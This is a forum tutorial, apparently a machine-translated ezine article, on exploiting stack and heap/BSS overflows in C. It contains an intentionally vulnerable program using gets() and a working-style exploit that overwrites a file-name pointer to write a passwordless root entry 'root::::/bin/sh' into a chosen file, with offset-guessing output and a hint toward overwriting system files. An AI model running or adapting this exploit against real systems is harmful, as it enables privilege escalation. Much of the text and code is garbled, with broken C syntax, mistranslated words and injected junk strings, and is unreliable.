Forum Thread: Exploiting Heap Overflow for Beginners -by Mohamed Ahmed.

Something simple: overflows for nerds.
Well, we are in front of a computer that is running a program
and we ask ourselves " Why does this machine work? " The truth is that
explaining how it does what the processor does is a bit complex (I got myself to
understand it 4 months of a subject a hard rock ;)but we can
make a rough summary of it: we have a processor that, as its
own name indicates, it only processes the data that is in the memory (or
the hard disk, etc.). "And how does the processor know how to
process a certain data?";
using preprogrammed binary codes which is the next instruction
to execute and with which data it must do it. "And how does the processor know that what
is being processed is a data and not another instruction of the program that should
execute?"; because that the processor does not know, and precisely this fact is what
we are going to take advantage of for our malefic purposes.

Let's see, the memory of a computer, as you all know, is simply a
bunch of records in which you can store 0 or 1's. It consists of nothing
more than that. For example, if we take a very small portion of memory
and see what it contains, it surely looks like this:
--------------------------------------------------------------------------------------------------------
...00101001001010101111010101010001011010100011101010101010101001....
--------------------------------------------------------------------------------------------------------

and what it means to mean all this series of digits is this:
--------------------------------------------------------------------------------------------------------
...00101001001010101111010101010001011010100011101010101010101001....
--------------------------------------------------------------------------------------------------------
instruction | data | data | instruction | instr ...

Since the time of the first computers there was the idea of ??putting
a label (one bit more) in each dataset to differentiate whether the
set in question was an instruction or a data; but at that time
put a bit more was quite expensive and the results of the programs
would be done much more slowly when processing a bit more. In addition, Von Neumman
(a guy who owes much of the concepts of
current computers ) had demonstrated years ago that with a good organization of the
processor and a well-ordered access to memory, there was no need to differentiate
between instructions and data that the processor would respond to a
instruction and would take the data indicated by the instruction,
and as the instruction will always point to a memory area in which
are your data, there was no problem.

Surely the instruction will always point to a memory area
where your data will be? Well .... that would have to be discussed ....
Let's see the stupid example of stack overflow that exists. We have a
variable (that is, one of the 'data' of the instruction) and we execute something
as simple as the programilla this:

code
......
main ()
{
char data20;
....
scanf ("% s", & data);
....
}
....

and the memory would be more or less like this (the x's represent instructions):

.... xxxx | 0000000000 ... 0000000000 | xxxxx ...... xxx | xxxxxxx ...... xxxxxxx | .....

^ ^
the data variable 20 the scanf instruction

as nothing, we already have the game ready. The normal thing is that
when the user is told to enter the text in question to fill in the
data variable 20, they will enter less than 20 characters and then there is no problem; but the
problem appears when you give to put some more. It turns out that the
C language does not check for limits when executing instructions like these, so
what it does is simply to continue accepting characters and saving them in
memory locations adjacent to the data variable 20, more or less
like this:

Case 1:
the user is good people
-------------------------------------------------- --------------------------------
..... I am med0000000000000 | xxxxxxxxxxxxx ... xxxx | .....
-------------------------------------------------- --------------------------------
case 2:
the user is a jaquerrr wanting to do something illegal
----------------------------------------------------------------------------------
..... I am a mohamed jaj | ajajajaxxxxxxxx ... xx | .....
----------------------------------------------------------------------------------
Here we see how the first bits of the
following instruction have been overwritten 20. The normal thing that happens in these cases is that the
processor, when trying to execute that instruction that of course does not match
any valid, of an error and finish the execution of the program.

However, the trick is to overwrite the instruction that follows
data 20 to be something the processor understands. The most usual thing is that it
is overwritten with a jump to another memory location where we have
previously placed a call to a shell so that, instead of executing the
command, a shell is executed that would give us access to the system.
Graphically:

.................................................. ......
................ data20saltoxxxxxxxx ..................
.................................................. ......
.................................................. ......
.................................................. ......
shell

and we will finish executing the program with a brand new shell just
invoked :).

Well, I do not dwell on the subject of overflows;
I suppose you all got the idea. Everything I have said so far
refers to stacks overflows, of which there is a lot of articles
written in both Spanish and Yanki-language, so if you are interested,
you just have to move around the world ... (and not much, this ezine brings all ;)

Heaps overflows.
the previous paragraphs have seen the base of a stack overflow. There
is very complex but has certain curiosities that must be taken into account
account, as for example to find return addresses in the calls
to functions and things like (to know more, the best thing is that you are loyal the
different artists published on the subject). I defend the heaps overflows
for its simplicity and its "purity of lines", as some bad
car advertisement would say. ;)

Of course, to understand what a Heap Overflow is, the first thing
to know is what the Heap is ;). Let's see, a program has two
ways to ask the OS memory to do its job. One of them is the
typical one, which we used before:

char data 20,

so the system would allocate a memory zone identifying it with the
name "data" and size 20 bytes. This is the traditional and
"static" form, that is, if at any point in the program we need
the variable data to be 40 bytes, we can not do it.

The other way, and it is the one that interests us, is that the program asks at
runtime (the other form is called "at compile time") the memory
it needs, then the OS searches for free memory and, if available, is
given to the program. Usually this is done with:

Code:
char * data;
data = (char *) malloc (SIZEofMEMORY);

and the system would return the assigned memory zone in "data" or, if there is no
free, would put data to NULL. Here we see that the variable "data" is no
longer a variable in the "classic" sense of the word and happens to be a
pointer that, as its name indicates, it does point to the first
of a series of positions by heart.

Someone should already be asking "if an overflow consists of
overwriting a memory zone, how will the OS be so silly as to
give us malloc () access to a memory zone that is already being
occupied?". Very simple: the OS is not silly. Well, not quite :). The OS
simply does what we say within limits, so
it will never give us positions that are already used, but nothing prevents us from
moving ourselves through those positions. What we have to take into
account is that, since C does not check that we are writing in
the memory position assigned to us by the OS (if you do not check limits on
variables, the logic is that you do not check things like these either because
two concepts are based on the same thing: write in a site that was not
intended for you), we will always be able to write in another that is
a valid position. That is, if we have 2 memory zones (no
need to be consecutive) allocated for two variables, the OS will
allow to write in the second using the first, and vice versa, for the simple
reason that both the first and the second point to areas of memory that
have been identified as "writable" by that type of variables. Let's
see it with an example that is very clear:

code
<++> heap / example1.c 92ca44fdc06aa8f1d800ecf7fe6309
/ *

• the simplest possible example of an overflow in the heap zone
• based directly on one of w00w00
• /

#include
#include
#include

int main ()
{
char data1, data2; / our variables /
unsigned long distance; / * this is the actual memory distance
that are going to have our variables.
if the 2 were in memory zones
consecutive, the distance would be 0 * /

/ request memory allocation. Let's ask for 40 bytes /
dato1 = (char *) malloc (40);
dato2 = (char *) malloc (40);

/ we look at how far they are /
distance = (unsigned long) dato2 - (unsigned long) dato1;

/ * now we fill data2 with a normal chain. memset ()
the only thing that does is fill the position of memory q is passed
with a character * /

memset (dato2, 'P', 40-1), dato2 40-1 = '{jumi * 3 oooooooooooooooolink exploitooooooooooooooooooooooooo }';

printf ("before overwriting:% s \ n", data2);

/ * we overwrite 20 bytes of data2 using the variable data1 and the
distance separating them (just in case this is not 0) * /

memset (data1, '*', (unsigned int) (distance + 20));

/ we checked /
printf ("after overwrite:% s \ n", data2);

return 0;
}
<-->

As we already have it, we execute it and we see how the data pointer1 overwrites
the area that has assigned data2; and the OS allows it for the simple reason
that both zones (the one of data2 and the one that is supposed to use
data1) are of the same type and are initialized in the same way, and since
C does not check the addresses because it is easy to confuse it so that it thinks that
data1 is being written in its place when in fact we are in the data
zone2.

code
...
cafo @ thehost: ~ / nets / heap $ ./example1
Before Overwriting: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
after overwriting: ********** PPPPPPPPPPPPPPPPPPP
...

Then the concept has become quite clear, right? We only need
a pointer that is in the heap zone that we can handle to be able
to access all the other pointers in that zone.

Well, both roll over the heap zone and still have not explained what it is. ;)
Heap is simply a zone of dynamic memory where you store
variables by means of the call to malloc (). Possibly those who have
read some book on SO architecture and others, sound the couple
HEAP / BSS. The BSS (and I swear that I have not been able to find anywhere that is what
those damn acronyms mean ;)is simply the memory area
where the global variables are not initialized and the
declared as 'static'. For example, if we want to have memory without
having to initialize it but we want it to behave like the pointer we
used before, we can write something like this:

static char dato1 40;

and would be the equivalent in the zone BSS to the call to malloc () that we did in
the previous programilla.

Well, once you get to this point more than one will ask "And this so
that it serves me?". Well the truth is that if you ask that is that
you still need to catch enough practice with that of the exploits ;). Well, seriously.
You simply have to find a source code (quite usual in these
open source times ...) that uses one of these variables that I have commented
and that allows the user to write it. The typical situation is that the
programmer uses one of these pointers to request data from the user.

Imagine that we have a program that all you do is write what
we tell you in a file that we can not choose. Something like this:

code
<++> heap / example2.c $ d102f90f44986e093acb7a01aef6d723
/ *

• example2.c Displays a vulnerable program in the BSS zone
• /

#include

int main ()
{
FILE * file;
static char dato1 16, * tmpfile;

tmpfile = "/ tmp / mama.txt"; / we put a temporary any /
printf ("before exploit:% s \ n", tmpfile); / to ensure... /

printf ("Data to be entered in breast.txt: \ n");
gets (data1);

printf ("\ nafter the exploit:% s \ n", tmpfile);
file = fopen (tmpfile, "w");

fputs (data1, file);
fclose (file);
}
<-->

Well, we already have the program in question. At a glance it is not vulnerable
because the only thing that can be modified "externally" is what is written in
the file "mama.txt" so we would not have any problems with
system security , right? I hope so, because we can use what we said before
overwriting pointers for the program to do certain things
undesirable, such as overwriting system files or things like that, and we
can always find files that are useful when overwriting, right?

Well the trick in this case is that the variable where the
name is stored is a pointer whereas where we save the data we
want to put in the file is in the BSS zone, which allows us
play a little with directions. The only thing we have to do is start
testing different approaches to "* tmpfile" from "data1" until we can
completely overwrite the position of * tmpfile with the address of a
file that we are interested in writing. Let's look at an example:

code
<++> heap / exploit2.c $ cc2e106df958188984666213aa549c49
/ * exploit for program example2.c

• the original is still in w00w00;)
• /

#include
#include
#include
#include

#define BUFSIZE 256
#define ERROR -1

#define DIFF 16

#define VULPROG "./example2"
#define VULFILE "/ tmp / mierdapami"

u_long getesp ()
{
_asm _ ("movl% esp,% eax");
}

int main (int argc, char * argv)
{
u_long addr;

register int i;
int mainbufsize;

char * mainbuf, buf DIFF + 6 + 1 = "+ + \ t #";

memset (buf, 0, sizeof (buf)), strcpy (buf, "root :::: / bin / sh \ t #");

memset (buf + strlen (buf), 'A', DIFF);
addr = getesp () + atoi (argv 1);

for (i = 0; i <sizeof (u_long); i ++)
buf DIFF + i = ((u_long) addr >> (i * 8) & 255);

mainbufsize = strlen (buf) + strlen (VULPROG) +
strlen (VULPROG) + strlen (VULFILE) + 13;

mainbuf = (char *) malloc (mainbufsize);
memset (mainbuf, 0, sizeof (mainbuf));

snprintf (mainbuf, mainbufsize-1, "echo '% s' |% s% s \ n",
buf, VULPROG, VULFILE);

system (mainbuf);
return 0;
}
<-->

Well, nothing, here we have a seemingly innocent program like this,
is able to write what we want in any place where
we have writing privileges. We only have to try
different offsets until we overwrite the complete path:

code

code ..
cafo @ thehost: ~ / nets / heap $ ./exploit2 500
before the exploit: /tmp/mama.txt
Data to be entered in breast.txt:

after the exploit: G = spanish
...

ups, we have gone to the area of the environment variables (I did not say that this
kind of exploit can be really useful? ;). Let's continue testing (this more or
less is the game of "sink the fleet" but we have the trick that
We can test millions of values per minute, right? :)

...
cafo @ thehost: ~ / nets / heap $ ./exploit2 400
before the exploit: /tmp/mama.txt
Data to be entered in breast.txt:

after the exploit: üÿ¿
...

Dish, we have gone to the executable code. Too low. Water ;)

...
cafo @ thehost: ~ / nets / heap $ ./exploit2 450
before the exploit: /tmp/mama.txt
Data to be entered in breast.txt:

after the exploit: mplo2
...

/ code

this already sounds better. It is the name of the vulnerable program, so we assume
that we can be in argv 0, right? Water still.

...
cafo @ thehost: ~ / nets / ./exploit2 heap $ 465
before Exploit: /tmp/mama.txt
Data to be entered in mama.txt:

after Exploit: dapami
...

good good good , this is much better. We have just found our
string pointing to the file we want to overwrite. TOUCHED!. Counting
on the fingers it turns out that

code
cafo @ thehost: ~ / nets / heap $ ./exploit2 456
before the exploit: /tmp/mama.txt
Data to enter in breast.txt

after the exploit:

Code:
/ tmp / mierdapami

...

SAND !!! If everything went well, we have in our tmp directory that
file with the info we wanted it to have. Let's see:

...

code
cafo @ thehost: ~ / nets / heap $ cat / tmp / mierdapami
root :::: / bin / sh
cafo @ thehost: ~ / nets / heap

interesting, right? Too bad that same line was not somewhere else ...
but nothing, as this is not for you to do bad things, I let you
investigate.

So far everything has gone very well. Of course, for now we have only
been with my programs, that is, I knew by writing them that they would
be vulnerable. The next thing would be to find out what kind of programs
may be vulnerable or what kind of variables are typically overwritten
by the exploits, but we'll leave that for the second part of the article ...

greetings